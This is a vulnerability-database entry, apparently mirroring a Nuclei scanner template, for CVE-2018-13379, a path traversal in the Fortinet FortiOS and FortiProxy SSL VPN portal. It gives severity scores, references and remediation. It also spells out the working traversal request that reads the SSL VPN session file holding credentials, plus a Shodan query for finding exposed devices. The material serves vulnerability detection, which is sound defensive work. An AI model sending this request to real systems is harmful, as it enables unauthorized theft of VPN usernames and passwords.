Fortinet FortiOS - Credentials Disclosure

2020-04-2206:42:01

ProjectDiscovery

github.com

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.8 High

AI Score

Confidence

High

5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:N/A:N

0.974 High

EPSS

Percentile

99.9%

JSON

Fortinet FortiOS 6.0.0 to 6.0.4, 5.6.3 to 5.6.7 and 5.4.6 to 5.4.12 and FortiProxy 2.0.0, 1.2.0 to 1.2.8, 1.1.0 to 1.1.6, 1.0.0 to 1.0.7 under SSL VPN web portal allows an unauthenticated attacker to download system files via special crafted HTTP resource requests due to improper limitation of a pathname to a restricted directory (path traversal).

id: CVE-2018-13379

info:
  name: Fortinet FortiOS - Credentials Disclosure
  author: organiccrap
  severity: critical
  description: Fortinet FortiOS 6.0.0 to 6.0.4, 5.6.3 to 5.6.7 and 5.4.6 to 5.4.12 and FortiProxy 2.0.0, 1.2.0 to 1.2.8, 1.1.0 to 1.1.6, 1.0.0 to 1.0.7 under SSL VPN web portal allows an unauthenticated attacker to download system files via special crafted HTTP resource requests due to improper limitation of a pathname to a restricted directory (path traversal).
  impact: |
    An attacker can obtain sensitive information such as usernames and passwords.
  remediation: |
    Apply the necessary patches or updates provided by Fortinet to fix the vulnerability.
  reference:
    - https://fortiguard.com/advisory/FG-IR-18-384
    - https://www.fortiguard.com/psirt/FG-IR-20-233
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-13379
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-13379
    cwe-id: CWE-22
    epss-score: 0.97305
    epss-percentile: 0.99854
    cpe: cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: fortinet
    product: fortios
    shodan-query: http.html:"/remote/login" "xxxxxxxx"
  tags: cve2018,cve,fortios,lfi,kev,fortinet

http:
  - method: GET
    path:
      - "{{BaseURL}}/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession"

    matchers:
      - type: regex
        part: body
        regex:
          - '^var fgt_lang ='
# digest: 4b0a00483046022100ed688fb687003137454ccb27e917dd0a47b6effc89bb9404707395186fce0efd0221008586aa2b87390aed0dd185af0e8a536f991a73de918ddcad55a7bc3acfdbc0fe:922c64590222798bb761d5b6d8e72950